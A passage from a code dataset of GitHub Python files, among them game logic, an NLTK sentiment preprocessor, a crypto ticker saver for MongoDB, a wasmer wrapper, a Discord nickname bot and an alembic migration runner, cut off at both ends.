(5,4), '47': (6,4), '48': (7,4), '49': (8,4), '50': (9,4), \n'60': (0,5), '59': (1,5), '58': (2,5), '57': (3,5), '56': (4,5), '55': (5,5), '54': (6,5), '53': (7,5), '52': (8,5), '51': (9,5), \n'61': (0,6), '62': (1,6), '63': (2,6), '64': (3,6), '65': (4,6), '66': (5,6), '67': (6,6), '68': (7,6), '69': (8,6), '70': (9,6), \n'80': (0,7), '79': (1,7), '78': (2,7), '77': (3,7), '76': (4,7), '75': (5,7), '74': (6,7), '73': (7,7), '72': (8,7), '71': (9,7), \n'81': (0,8), '82': (1,8), '83': (2,8), '84': (3,8), '85': (4,8), '86': (5,8), '87': (6,8), '88': (7,8), '89': (8,8), '90': (9,8), \n'100': (0,9), '99': (1,9), '98': (2,9), '97': (3,9), '96': (4,9), '95': (5,9), '94': (6,9), '93': (7,9), '92': (8,9), '91': (9,9)\n}\n\npreviousmove = []\nmagnet_location = '1'\nboy_location = '1' # we will have to do some collision detection\ngirl_location = '0'\n\ndef get_key(val):\n for key, value in chutes_mappings_game.items():\n if val == value:\n return key\n\ndef SameRowCollision(gender, num):\n if gender == 'b':\n for i in range(num):\n if int(boy_location) + i == int(girl_location):\n return 'collides'\n elif gender == 'g':\n for i in range(num):\n if int(girl_location) + i == int(boy_location):\n return 'collides'\n else:\n return 'no'\n\ndef changeBoard_chutes(move):\n if move[0] == 'move':\n if move[1] == 'boy':\n piece = 'b'\n elif move[1] == 'girl':\n piece = 'g'\n \n if move[3] == 'to':\n if piece == 'b':\n if girl_location == move[4]:\n coords = chutes_mappings_game[girl_location]\n either = get_key( (coords[0] - 1, coords[1]))\n elif boy_location == move[4]:\n coords = chutes_mappings_game[boy_location]\n either = get_key( (coords[0] - 1, coords[1]))\n else:\n either = move[4]\n StrightLine(move[2],either,magnet_location, 'chutes')\n previousmove.clear()\n previousmove.append(move[2]) # start\n previousmove.append(move[4]) # end\n if piece == 'b':\n boy_location = either\n elif piece == 'g':\n girl_location = either\n\n elif move[3] == 'spots': # will probababily change this based on how google reads numbers\n num = int(move[2]) # assuming input string is '5'\n if piece == 'b':\n start = chutes_mappings_game[boy_location]\n if (start[0] + num) >= 9:\n newx = 9 - ((start[0] + num)-10)\n end = ( newx, start[1] + 1)\n StrightLine (get_key(start), get_key(end), magnet_location, 'chutes')\n previousmove.clear()\n previousmove.append(get_key(start)) # start\n previousmove.append(get_key(end)) # end\n else:\n if SameRowCollision(piece, num) == 'no':\n newx = start[0] + num\n end = (newx, start[1])\n StrightLine (get_key(start), get_key(end), magnet_location, 'chutes')\n previousmove.clear()\n previousmove.append(get_key(start)) # start\n previousmove.append(get_key(end)) # end\n elif SameRowCollision(piece, num) == 'collides':\n end1 = (start[0], start[1]+1)\n StrightLine (get_key(start), get_key(end1), magnet_location, 'chutes')\n end2 = (start[0] + num, end1[1])\n StrightLine (get_key(end1), get_key(end2), magnet_location, 'chutes')\n end3 = (end2[0], start[1])\n StrightLine (get_key(end2), get_key(end3), magnet_location, 'chutes')\n\n elif piece == 'g':\n start = chutes_mappings_game[girl_location]\n if (start[0] + num) >= 9:\n newx = 9 - ((start[0] + num)-10)\n end = ( newx, start[1] + 1)\n else:\n newx = start[0] + num\n end = (newx, start[1])\n StrightLine (get_key(start), get_key(end), magnet_location, 'chutes')\n previousmove.clear()\n previousmove.append(get_key(start)) # start\n previousmove.append(get_key(end)) # end \n\n elif move[0] == \"spin\":\n if move[1] == \"the\":\n if move[2] == \"wheel\":\n spin = np.random.randint(1,6)\n #speaker say out load function\n else:\n return \"invalid command\"\n else:\n return \"invalid command\"\n \n elif move[0] == 'start':\n boy_location = '1' # we will have to do some collision detection\n girl_location = '0'\n\n elif move[0] == \"undo\":\n if move[1] == \"move\":\n if len(previousmove) ==2:\n StrightLine(previousmove[1], previousmove[0], magnet_location, 'chutes')\n else:\n return \"invalid command\"\n\n else:\n return \"invalid command\"\n\n","repo_name":"GiButtersnaps/AutoBoard","sub_path":"gamelogicChutes.py","file_name":"gamelogicChutes.py","file_ext":"py","file_size_in_byte":6029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"8867772375","text":"import sys\ninp = sys.argv[1]\nout = sys.argv[2]\n\ntry:\n inpf = open(inp,'r')\n outf = open(out,'w')\nexcept OSError as err:\n print(err)\n exit(1)\n \nwhile True:\n data = inpf.readline()\n if not data:\n break\n outf.write(data)\n\ninpf.close()\noutf.close()\n \n","repo_name":"SluBard/PYT100","sub_path":"exercises-202011/chap08/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"7"} +{"seq_id":"72306452704","text":"# Lexicon [chair, table,sppon, tv]\n\n# I pulled the chair upto the table\n# np.zeros(len(lexion))\n# [0 0 0 0]\n# [1 1 0 0]\n\nimport nltk\n#nltk.download('punkt')\n#nltk.download('wordnet')\nfrom nltk.tokenize import word_tokenize\n# tokennizez the sentences into words\nfrom nltk.stem import WordNetLemmatizer\n# remove ings, and stuff\nimport numpy as np\nimport random\nimport pickle\nfrom collections import Counter\n\nlemmatizer = WordNetLemmatizer()\nhm_lines = 100000\n\n#DAY 21\n#read data in > stuff linto lexicon (do we care about any signle word?)\ndef create_lexicon(pos,neg):\n lexicon=[]\n for fi in [pos,neg]:\n with open(fi,'r') as f:\n contents = f.readlines()\n for l in contents[:hm_lines]:\n all_words = word_tokenize(l.lower())\n lexicon+= list(all_words)\n \n #lemitize all words, stemming into legimitate words\n # input vector will be lexicon in length(short as possible wanted)\n lexicon = [lemmatizer.lemmatize(i) for i in lexicon]\n w_counts = Counter(lexicon) # dict like elements\n #w_counts = {'the:'23, 'and': 344}\n l2 = []\n # we dont want common words like in, and , the words which occured more than 1000 and less than 50 are discarded\n for w in w_counts:\n if 1000 > w_counts[w] > 50:\n l2.append(w)\n print(len(l2))\n return l2\n\n# func to classify feature set using lexicon \n# takes, sample, lexicon , and what classfication gonna be\ndef sample_handling(sample, lexicon, classification):\n featureset=[]\n # 1, 0 pos\n #0,1 neg\n # [\n # [],\n # [1 0 1 1 0],[1,0]\n # [],\n # ]\n # open what ever sample is \n with open(sample, 'r') as f:\n contents = f.readlines()\n # for each of lines in our lines\n for l in contents[:hm_lines]:\n current_words = word_tokenize(l.lower())\n # current word now lemitizer\n current_words = [lemmatizer.lemmatize(i) for i in current_words]\n features = np.zeros(len(lexicon))\n # iterate through words ,a and set the index to 1 or plus \n for word in current_words:\n if word.lower() in lexicon:\n index_value = lexicon.index(word.lower())\n features[index_value]=+1\n features = list(features)\n featureset.append([features,classification])\n return featureset\n\n# create feaures in sets , 10% test size\ndef create_feature_sets_and_labels(pos, neg,test_size=0.1):\n # create lexicon\n lexicon = create_lexicon(pos,neg) \n features= [] #empty list\n features += sample_handling('pos.txt', lexicon,[1,0]) # our classification for pos is 1,0\n features += sample_handling('neg.txt', lexicon,[1,0]) # our calssification for neg is 0,1\n random.shuffle(features) # shuffle for NN\n features = np.array(features) # make features an array\n testing_size = int(test_size*len(features)) # whole number length of features\n #training data\n train_x = list(features[:,0][:-testing_size])\n train_y = list(features[:,1][:-testing_size])\n #testing data\n test_x = list(features[:,0][-testing_size:])\n test_y = list(features[:,1][-testing_size:])\n\n return train_x,train_y,test_x,test_y\n\n\nif __name__ == '__main__':\n train_x,train_y,test_x,test_y = create_feature_sets_and_labels('pos.txt','neg.txt')\n with open('sentiment_set.pickle','wb') as f:\n pickle.dump([train_x,train_y,test_x,test_y],f)\n\n","repo_name":"humayuntanwar/100-days-of-Machine-Learning","sub_path":"DeepLearning/create_sentimentfeature_set_day20.py","file_name":"create_sentimentfeature_set_day20.py","file_ext":"py","file_size_in_byte":3456,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"7"} +{"seq_id":"7419492668","text":"import requests\nimport pymongo\nimport time\n\nAPI_URL = 'https://api.coinmarketcap.com/v1/ticker/' # API address\n\ndef get_db_connection(url): # Varible url = Mongo server address\n client = pymongo.MongoClient(url) # Create Client in MongoDB\n return client.cryptongo\n\ndef get_cryptocurrencies_from_api():\n r = requests.get(API_URL) # Get API result\n\n if r.status_code == 200: # Verify if the code state is the one that is needed\n result = r.json() # Convert information to Json\n return result\n \n raise Exception('API Error') # raise = Create error\n\ndef get_hash(value):\n from hashlib import sha512\n return sha512(value.encode('utf-8')).hexdigest() # Hexdigest = Convert to str\n\ndef first_element(elements):\n return elements[0]\n\ndef get_ticker_hash(ticker_data):\n from collections import OrderedDict # Library to bring a function that will create an ordered dictionary\n ticker_data = OrderedDict(sorted(ticker_data.items(), key = first_element)) # sorted = Sort a data structure\n ticker_value = ''\n\n for _, value in ticker_data.items():\n ticker_value += str(value) # Save value in the variable\n\n return get_hash(ticker_value)\n \n\ndef check_if_exists(db_connection, ticker_data):\n ticker_hash = get_ticker_hash(ticker_data)\n\n if db_connection.tickers.find_one({'ticker_hash': ticker_hash}): # If exist into Database, return True\n return True\n\n return False\n\ndef save_ticker(db_connection, ticker_data = None):\n if not ticker_data:\n return False\n \n if check_if_exists(db_connection, ticker_data): # If the function return true, then cancel process\n return False\n\n ticker_hash = get_ticker_hash(ticker_data)\n ticker_data['ticker_hash'] = ticker_hash # Get the dictionary key\n ticker_data['rank'] = int(ticker_data['rank']) # Get values and Convert to int\n ticker_data['last_updated'] = int(ticker_data['last_updated'])\n\n db_connection.tickers.insert_one(ticker_data) # Insert all ticket information\n return True\n\nif __name__ == \"__main__\":\n connection = get_db_connection('mongodb://localhost:27017/') # (Connection protocol URL://IP:Port/)\n tickers = get_cryptocurrencies_from_api()\n\n for ticker in tickers:\n save_ticker(connection, ticker) # Store the ticker in the cycle\n\n print(\"Stored tickers\")","repo_name":"AdrianRicoy/MongoDB_Platzi","sub_path":"agent/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2333,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"22997890457","text":"from time import sleep\r\nfrom msedge.selenium_tools import Edge, EdgeOptions\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.common.action_chains import ActionChains\r\n\r\noptions = EdgeOptions()\r\noptions.use_chromium = True\r\noptions.add_extension('C:/edgedriver_win64/extension_1_32_4_0.crx')\r\ndriver = Edge(executable_path='C:/edgedriver_win64/msedgedriver.exe', options=options)\r\ndriver.get('https://play2048.co/')\r\ndriver.maximize_window()\r\nelem = driver.find_element_by_class_name('container')\r\nfor i in range(10):\r\n actions = ActionChains(driver)\r\n actions.send_keys(Keys.ARROW_DOWN)\r\n actions.perform()\r\n sleep(1)\r\ndriver.close()\r\n","repo_name":"liandy1028/2048-Solver","sub_path":"seleniumtest.py","file_name":"seleniumtest.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"5031399437","text":"from wasmer import engine, Store, Module, Instance\nfrom wasmer_compiler_cranelift import Compiler\nfrom importlib import resources as impresources\nfrom . import resources\n\n\ndef get_wasm_instance(lib):\n wasm_file = (impresources.files(resources) / lib)\n\n # Create a store. Engines and compilers are explained in other\n # examples.\n store = Store(engine.Universal(Compiler))\n\n # Let's compile the Wasm module.\n module = Module(\n store,\n wasm_file.open('rb').read())\n\n # Let's instantiate the module!\n return Instance(module)\n\n\ndef add(a, b):\n\n instance = get_wasm_instance(\"adder.wasm\")\n\n # We now have an instance ready to be used.\n #\n # From an `Instance` we can retrieve any exported entities. Each of\n # these entities is covered in others examples.\n #\n # Here we are retrieving the exported function. We won't go into\n # details here as the main focus of this example is to show how to\n # create an instance out of a Wasm module and have basic interactions\n # with it.\n return instance.exports.add(a, b)\n\n\ndef alloc_input(instance, input):\n ## +1 for terminating C-string\n length_of_input = len(input) + 1\n\n # Allocate memory for the subject, and get a pointer to it.\n input_pointer = instance.exports.allocate(length_of_input)\n\n # Write the subject into the memory.\n memory = instance.exports.memory.uint8_view(input_pointer)\n memory[0:length_of_input - 1] = input\n memory[length_of_input] = 0 # C-string terminates by NULL.\n\n return input_pointer, length_of_input\n\ndef read_output_from_pointer(instance, output_pointer):\n # Read the result of the `greet` function.\n memory = instance.exports.memory.uint8_view(output_pointer)\n memory_length = len(memory)\n\n output = []\n nth = 0\n\n while nth < memory_length:\n byte = memory[nth]\n\n if byte == 0:\n break\n\n output.append(byte)\n nth += 1\n\n length_of_output = nth\n\n result = bytes(output).decode()\n return result, length_of_output\n\n\ndef greet():\n\n instance = get_wasm_instance(\"adder.wasm\")\n\n subject = bytes('Wasmer ðŸ��', 'utf-8')\n print(subject)\n input_pointer, length_of_subject = alloc_input(instance, subject)\n\n # Run the `greet` function. Give the pointer to the subject.\n output_pointer = instance.exports.greet(input_pointer)\n\n result, length_of_output = read_output_from_pointer(instance,\n output_pointer)\n\n # Deallocate the subject, and the output.\n instance.exports.deallocate(input_pointer, length_of_subject)\n instance.exports.deallocate(output_pointer, length_of_output)\n return result\n\n\ndef json_example():\n instance = get_wasm_instance(\"adder.wasm\")\n\n input = bytes('{\"name\": \"Rob\", \"value\": 24}', 'utf-8')\n print(input)\n input_pointer, length_of_subject = alloc_input(instance, input)\n\n # Run the `json_example` function. Give the pointer to the subject.\n print(instance.exports)\n output_pointer = instance.exports.json_example(input_pointer)\n\n result, length_of_output = read_output_from_pointer(instance,\n output_pointer)\n\n # Deallocate the input, and the output.\n instance.exports.deallocate(input_pointer, length_of_subject)\n instance.exports.deallocate(output_pointer, length_of_output)\n return result\n","repo_name":"r-ash/wasm-py","sub_path":"adder-py/src/adder_py/adder.py","file_name":"adder.py","file_ext":"py","file_size_in_byte":3416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"22401304949","text":"import argparse\nimport asyncio\nimport configobj\nimport discord\nimport logging\nimport mysql.connector\nimport os\nimport sys\n\n# Create the logger.\nlogger_handler = logging.StreamHandler()\nlogger_handler.setFormatter(logging.Formatter(\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\"))\n\nlogger = logging.getLogger(\"allianceauth-discordbot\")\nlogger.setLevel(logging.DEBUG)\nlogger.addHandler(logger_handler)\n\n# Parse command line arguments.\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"-c\", \"--config\", dest = \"config_path\", default = \"./config.ini\", help = \"The path to the configuration file.\")\n\nargs = parser.parse_args()\n\n# Validate the configuration file.\nif not os.path.isfile(args.config_path):\n\tlogger.critical(\"Failed to open the configuration file '%s'.\" % (args.config_path))\n\tsys.exit(1)\n\nconfig = configobj.ConfigObj(args.config_path)\n\ntry:\n\t# TODO: Find out why bots cannot login using a token.\n\tconfig['bot_email']\n\tconfig['bot_password']\n\n\tconfig['db_host']\n\tconfig['db_username']\n\tconfig['db_password']\n\tconfig['db_database']\n\n\tconfig['api_command_delay']\n\nexcept Exception as e:\n\tlogger.critical(\"Failed to read the configuration value %s.\" % (e))\n\tlogger.exception(e)\n\tsys.exit(1)\n\n# Connect to the database.\ndb = None\n\ntry:\n\tdb = mysql.connector.connect(\n\t\thost = config['db_host'],\n\t\tuser = config['db_username'],\n\t\tpassword = config['db_password'],\n\t\tdatabase = config['db_database'])\n\nexcept Exception as e:\n\tlogger.critical(\"Failed to connect to the database.\")\n\tlogger.exception(e)\n\tsys.exit(1)\n\n# Create the discord client and event handlers.\nclient = discord.Client()\nloop = asyncio.get_event_loop()\nqueue = asyncio.Queue()\n\n# Handles changing a user's nickname.\nasync def update_member_nickname(member):\n\ttry:\n\t\t# Don't update the bot's nickname.\n\t\tif member == client.user:\n\t\t\treturn\n\n\t\t# Fetch user from the database.\n\t\tcursor = db.cursor()\n\n\t\tcursor.execute(\n\t\t\t'SELECT `corporation_ticker`, `character_name`'\n\t\t\t'FROM `authentication_authservicesinfo`'\n\t\t\t'JOIN `eveonline_evecharacter` ON `eveonline_evecharacter`.`character_id` = `authentication_authservicesinfo`.`main_char_id`'\n\t\t\t'WHERE `discord_uid` = %s'\n\t\t\t'LIMIT 1', [member.id])\n\n\t\trows = cursor.fetchall()\n\n\t\tcursor.close()\n\n\t\t# No user was found.\n\t\tif len(rows) <= 0:\n\t\t\tnickname = \"[%s] %s\" % (\"-----\", member.name)\n\t\t\t# TODO: Kick the user instead?\n\n\t\t# A user was found.\n\t\telse:\n\t\t\tfor (corporation_ticker, character_name) in rows:\n\t\t\t\tnickname = \"[%s] %s\" % (corporation_ticker, character_name)\n\n\t\t# Queue a nickname change if needed.\n\t\tif member.nick != nickname:\n\t\t\tlogger.info(\"Queuing change_nickname: '%s' to '%s'\" % (member.name, nickname))\n\t\t\tawait queue.put((client.change_nickname, member, nickname))\n\n\texcept Exception as e:\n\t\tlogger.exception(e)\n\n# Handles limiting the amount of commands sent to the server to avoid rate limiting.\nasync def discord_command_queue_task():\n\tawait client.wait_until_ready()\n\n\twhile not client.is_closed:\n\t\titems = await queue.get()\n\n\t\ttry:\n\t\t\tfunc = items[0]\n\t\t\targs = items[1:]\n\n\t\t\tawait func(*args)\n\n\t\texcept Exception as e:\n\t\t\tlogger.error(e)\n\n\t\tawait asyncio.sleep(float(config['api_command_delay']))\n\n# Runs periodically and updates every user's nickname.\nasync def update_nicknames_task():\n\tawait client.wait_until_ready()\n\n\twhile not client.is_closed:\n\t\tlogger.info(\"Checking nicknames for all users...\")\n\n\t\tfor member in client.get_all_members():\n\t\t\tawait update_member_nickname(member)\n\n\t\tawait asyncio.sleep(60 * 5)\n\n@client.async_event\nasync def on_ready():\n\tlogger.info(\"Logged in as %s (%s)\" % (client.user.name, client.user.id))\n\n\tlogger.debug(\"Creating task 'discord_command_queue_task'.\")\n\tloop.create_task(discord_command_queue_task())\n\n\tlogger.debug(\"Creating task 'update_nicknames_task'.\")\n\tloop.create_task(update_nicknames_task())\n\n@client.async_event\nasync def on_member_update(before, after):\n\tlogger.info(\"Checking nickname for user '%s'...\" % (after))\n\tawait update_member_nickname(after)\n\n# Run the bot.\ntry:\n\tloop.run_until_complete(client.login(config['bot_email'], config['bot_password']))\n\tloop.run_until_complete(client.connect())\n\nexcept KeyboardInterrupt:\n\tloop.run_until_complete(client.close())\n\nexcept Exception as e:\n\tlogger.exception(e)\n\tloop.run_until_complete(client.close())\n\nfinally:\n\tfor task in asyncio.Task.all_tasks():\n\t\ttask.cancel()\n\n\t\ttry:\n\t\t\tloop.run_until_complete(task)\n\n\t\texcept Exception:\n\t\t\tpass\n\n\tloop.close()\n","repo_name":"msims04/allianceauth-discordbot","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":4430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"1575408485","text":"from argparse import Namespace\nimport io\nimport json\nimport os\nimport asyncio\nimport sys\nfrom collections.abc import Mapping\nfrom alembic.operations import Operations\nfrom alembic.util.langhelpers import Dispatcher\nfrom uuid import UUID\nfrom functools import wraps\n\nfrom .diff import Diff\nfrom .clause_text import get_clause_text\nfrom .clearable_string_io import ClearableStringIO\nimport sqlalchemy as sa\nfrom sqlalchemy.sql.elements import TextClause\nfrom sqlalchemy.engine.url import make_url\n\nfrom alembic.autogenerate import produce_migrations\nfrom alembic.autogenerate import RevisionContext\nfrom alembic.autogenerate.api import AutogenContext\nfrom alembic.autogenerate import render_python_code\nfrom alembic.migration import MigrationContext\nfrom alembic import context\nfrom alembic.util.exc import CommandError\nfrom alembic.script import ScriptDirectory\n\nfrom sqlalchemy.dialects import postgresql\nimport alembic.operations.ops as alembicops\nfrom typing import Optional, Dict, Any, Union, List, Tuple\n\nfrom . import command\nfrom . import config\nfrom . import ops\nfrom . import renderers\nfrom . import compare\nfrom . import ops_impl\nfrom . import csv\nfrom .util.os import delete_py_files\n\n\nclass Runner(object):\n def __init__(self, metadata, engine, connection, schema_path, args: Optional[Dict] = None):\n self.metadata = metadata\n self.schema_path = schema_path\n self.engine = engine\n self.connection = connection\n self.args = args or {}\n\n config.metadata = self.metadata\n config.engine = self.engine\n config.connection = connection\n\n sql = self.args.get('sql', None)\n if sql is not None and sql.lower() != 'true':\n config.output_buffer = open(sql, 'w')\n\n self.mc = MigrationContext.configure(\n connection=self.connection,\n opts=Runner.get_opts(),\n )\n self.cmd = command.Command(self.connection, self.schema_path)\n \n @classmethod \n def get_opts(cls):\n # note that any change here also needs a comparable change in env.py\n return {\n \"compare_type\": Runner.compare_type,\n \"include_object\": Runner.include_object,\n \"compare_server_default\": Runner.compare_server_default,\n \"transaction_per_migration\": True,\n \"render_item\": Runner.render_item,\n }\n\n @classmethod\n def from_command_line(cls, metadata, args: Namespace):\n engine = sa.create_engine(args.engine)\n connection = engine.connect()\n metadata.bind = connection\n return Runner(metadata, engine, connection, args.schema, args=args.__dict__)\n\n @classmethod\n def fix_edges(cls, metadata, args):\n if isinstance(args, Mapping) and args.get('connection'):\n connection = args.get('connection')\n else:\n engine = sa.create_engine(args.engine)\n connection = engine.connect()\n\n mc = MigrationContext.configure(\n connection=connection,\n )\n operations = Operations(mc)\n edges_map = metadata.info.setdefault(\"edges\", {})\n ops_impl.add_edges_from(operations, list(edges_map['public'].values()))\n\n @classmethod\n def exclude_tables(cls):\n # prevent default POSTGIS tables from affecting this\n return \"geography_columns,geometry_columns,raster_columns,raster_overviews,spatial_ref_sys\"\n\n @classmethod\n def compare_type(cls, context, inspected_column, metadata_column, inspected_type, metadata_type):\n # return False if the metadata_type is the same as the inspected_type\n # or None to allow the default implementation to compare these\n # types. a return value of True means the two types do not\n # match and should result in a type change operation.\n\n # print(context, inspected_column, metadata_column, inspected_type, metadata_type, type(inspected_type), type(metadata_type))\n\n # going from VARCHAR to Text is accepted && makes sense and we should accept that change.\n if isinstance(inspected_type, sa.VARCHAR) and isinstance(metadata_type, sa.Text):\n return True\n\n # going from Date() to TIMESTAMP is accepted && makes sense and we should accept that change.\n # TODO: we should allow going from all less-precise to more-precise since we're not losing any information\n if isinstance(inspected_type, sa.Date) and isinstance(metadata_type, sa.TIMESTAMP):\n return True\n\n return False\n\n @classmethod\n def include_object(cls, object, name, type, reflected, compare_to):\n exclude_tables = Runner.exclude_tables().split(',')\n\n if type == \"table\" and name in exclude_tables:\n return False\n else:\n return True\n\n @classmethod\n def convert_postgres_boolean(cls, metadata_default):\n boolean_map = {\n 'true': 'true',\n 't': 'true',\n 'y': 'true',\n 'yes': 'true',\n 'TRUE': 'true',\n '1': 'true',\n 'false': 'false',\n 'f': 'false',\n 'n': 'false',\n 'no': 'false',\n 'FALSE': 'false',\n '0': 'false',\n }\n # postgres is very liberal about what it allows for boolean values so support that here\n if metadata_default in boolean_map:\n return boolean_map[metadata_default]\n return metadata_default\n\n @classmethod\n def compare_server_default(cls, context, inspected_column, metadata_column, inspected_default, metadata_default, rendered_metadata_default):\n # let's just do simple comparison for now.\n # Things may get more complicated in the future but this works for now\n\n new_inspected_default = get_clause_text(\n inspected_default, inspected_column.type)\n new_metadata_default = get_clause_text(\n metadata_default, metadata_column.type)\n if isinstance(metadata_column.type, sa.Boolean):\n new_inspected_default = cls.convert_postgres_boolean(\n new_inspected_default)\n new_metadata_default = cls.convert_postgres_boolean(\n new_metadata_default)\n\n\n if isinstance(metadata_column.type, postgresql.JSON) or isinstance(metadata_column.type, postgresql.JSONB):\n if (new_inspected_default is None and new_metadata_default is not None) or (new_inspected_default is not None and new_metadata_default is None):\n return True\n return json.loads(new_inspected_default) != json.loads(new_metadata_default)\n\n if new_inspected_default != new_metadata_default:\n # specific case. not sure why this is needed\n # can be generalized at some point in the future\n if isinstance(new_inspected_default, str) and new_inspected_default.startswith(\"nextval\") and metadata_default is None:\n return False\n return True\n return False\n\n @classmethod\n def render_item(cls, type_, item, autogen_context):\n def server_default():\n # For some reason, the default rendering is not doing this correctly, so we need to\n # customize the rendering so that this is handled correctly and it adds the sa.text part\n if isinstance(item, TextClause):\n return \"sa.text('%s')\" % (item.text)\n if isinstance(item, UUID):\n # quote as string so it's rendered correctly\n return \"'%s'\" % str(item)\n\n return False\n\n def enum():\n if isinstance(item, postgresql.ENUM):\n # render postgres with create_type=False so that the type is not automatically created\n # we want an explicit create type and drop type\n # which we apparently don't get by default\n return \"postgresql.ENUM(%s, name='%s', create_type=False)\" % (csv.render_list_csv(item.enums), item.name)\n return False\n\n type_map = {\n 'server_default': server_default,\n 'type': enum,\n }\n\n if type_ in type_map:\n return type_map[type_]()\n\n return False\n\n def get_schema_path(self):\n return self.schema_path\n\n def get_metadata(self):\n return self.metadata\n\n def get_connection(self):\n return config.connection\n\n def compute_changes(self):\n migrations = produce_migrations(self.mc, config.metadata)\n return migrations.upgrade_ops.ops\n\n # sql used for debugging in tests\n def run(self, sql=False):\n diff = self.compute_changes()\n\n if len(diff) == 0:\n return None\n else:\n return self._apply_changes(diff, sql=sql)\n\n def _apply_changes(self, diff, sql=False):\n # pprint.pprint(diff, indent=2, width=20)\n\n # migration_script = produce_migrations(self.mc, self.metadata)\n # print(render_python_code(migration_script.upgrade_ops))\n\n try:\n self.revision(diff)\n except CommandError as err:\n # expected when not up to date so let's make it up to date by upgrading\n if str(err) == \"Target database is not up to date.\":\n pass\n else:\n raise err\n\n return self.upgrade(sql=sql)\n\n def revision_message(self, diff=None):\n if diff is None:\n migrations = produce_migrations(self.mc, config.metadata)\n diff = migrations.upgrade_ops.ops\n\n d = Diff(diff, group_by_table=False)\n changes = [c[\"desc\"] for c in d.list_changes()]\n\n message = \"\\n\".join(changes)\n return message\n\n def revision(self, diff=None, revision=None):\n # print(self.cmd.current())\n\n # if diff is None:\n # diff = self.compute_changes()\n\n message = self.revision_message(diff)\n\n self.cmd.revision(message, revision=revision)\n\n # understand diff and make changes as needed\n # pprint.pprint(migrations, indent=2, width=30)\n\n def explicit_revision(self, message):\n return self.cmd.revision(message, autogenerate=False)\n\n def upgrade(self, revision='heads', sql=False):\n return self.cmd.upgrade(revision, sql)\n\n def downgrade(self, revision, delete_files):\n self.cmd.downgrade(revision, delete_files=delete_files)\n\n def history(self, verbose=False, last=None, rev_range=None):\n self.cmd.history(verbose=verbose, last=last, rev_range=rev_range)\n\n def current(self):\n self.cmd.current()\n\n def show(self, revision):\n self.cmd.show(revision)\n\n def heads(self):\n self.cmd.heads()\n\n def branches(self):\n self.cmd.branches()\n\n def stamp(self, revision):\n self.cmd.stamp(revision)\n\n def edit(self, revision):\n self.cmd.edit(revision)\n\n def changes(self):\n diff = self.compute_changes()\n d = Diff(diff, group_by_table=True)\n print(json.dumps(d.changes()))\n\n def merge(self, revisions, message=None):\n self.cmd.merge(revisions, message=message)\n\n def squash(self, squash, message=None, database=''):\n if squash == 'all':\n self.squash_all(message, database=database)\n else:\n self.squash_n(squash)\n \n def squash_n(self, squash):\n squash = int(squash)\n if squash < 2:\n raise ValueError(\"squash needs to be an integer of at least 2\")\n \n revision = None\n heads = self.cmd.get_heads()\n if len(heads) == 1:\n revision = heads[0]\n\n # downgrade -2 and re-run upgrade\n self.cmd.downgrade('-%d' % squash)\n\n # generate a new revision\n self.revision(revision=revision)\n self.cmd.upgrade()\n \n def squash_all(self, message=None, database=''):\n heads = self.cmd.get_heads()\n if len(heads) > 1:\n raise ValueError(\"cannot squash_all when there are multiple heads\")\n \n revision = heads[0]\n \n location = self.cmd.alembic_cfg.get_main_option('version_locations')\n \n (migrations, connection, dialect, mc) = self.migrations_against_empty(database=database)\n\n (custom_sql_upgrade_ops, custom_sql_downgrade_ops) = self._get_custom_sql(connection, dialect, as_ops=True)\n migrations.upgrade_ops.ops.extend(custom_sql_upgrade_ops)\n\n # in practice, shouldn't care about downgrade at this point since if you're doing this, you're past the point\n # of no return but doing it anyway for tests and completeness\n # reverse downgrade_ops\n migrations.downgrade_ops.ops.reverse()\n # reverse custom_sql\n custom_sql_downgrade_ops.reverse()\n # add reversed custom sql since we add them last\n migrations.downgrade_ops.ops.extend(custom_sql_downgrade_ops)\n \n # delete existing files\n asyncio.run(delete_py_files(location))\n\n message = message or \"all the things\"\n command_args = dict(\n message=message,\n autogenerate=False,\n sql=False,\n head=\"head\",\n splice=False,\n branch_label=None,\n version_path=None,\n rev_id=revision,\n depends_on=None,\n )\n revision_context = RevisionContext(\n self.cmd.alembic_cfg,\n self.cmd.get_script_directory(),\n command_args,\n )\n migration_script = alembicops.MigrationScript(\n rev_id=revision,\n message=message,\n upgrade_ops=migrations.upgrade_ops,\n downgrade_ops=migrations.downgrade_ops,\n head=\"head\",\n splice=False,\n branch_label=None,\n version_path=None,\n depends_on=None,\n )\n # set up autogenerate code so it renders the migrations\n opts=Runner.get_opts()\n opts['sqlalchemy_module_prefix'] = 'sa.'\n opts['alembic_module_prefix'] = 'op.'\n opts['user_module_prefix'] = None\n opts['render_as_batch'] = False\n autogen_context = AutogenContext(\n mc, autogenerate=False,\n opts=opts,\n )\n revision_context._last_autogen_context = autogen_context\n\n migration_script._needs_render = True\n\n # writes the file and we can do something with the script if we want but we don't need to\n revision_context._to_script(migration_script)\n \n\n def _get_custom_sql(self, connection, dialect, as_buffer=False, as_ops=False) -> Union[io.StringIO, Tuple[List[alembicops.MigrateOperation], List[alembicops.MigrateOperation]]]:\n if not as_ops ^ as_buffer:\n raise ValueError(\"must specify either as_buffer or as_ops\")\n\n custom_sql_include_all = config.metadata.info.setdefault('custom_sql_include', {})\n custom_sql_exclude_all= config.metadata.info.setdefault('custom_sql_exclude', {})\n custom_sql_include_list = custom_sql_include_all.setdefault('public', [])\n custom_sql_exclude_list = custom_sql_exclude_all.setdefault('public', [])\n \n custom_sql_include = None\n custom_sql_exclude = None\n \n if len(custom_sql_include_list) > 0:\n custom_sql_include = set(custom_sql_include_list)\n if len(custom_sql_exclude_list) > 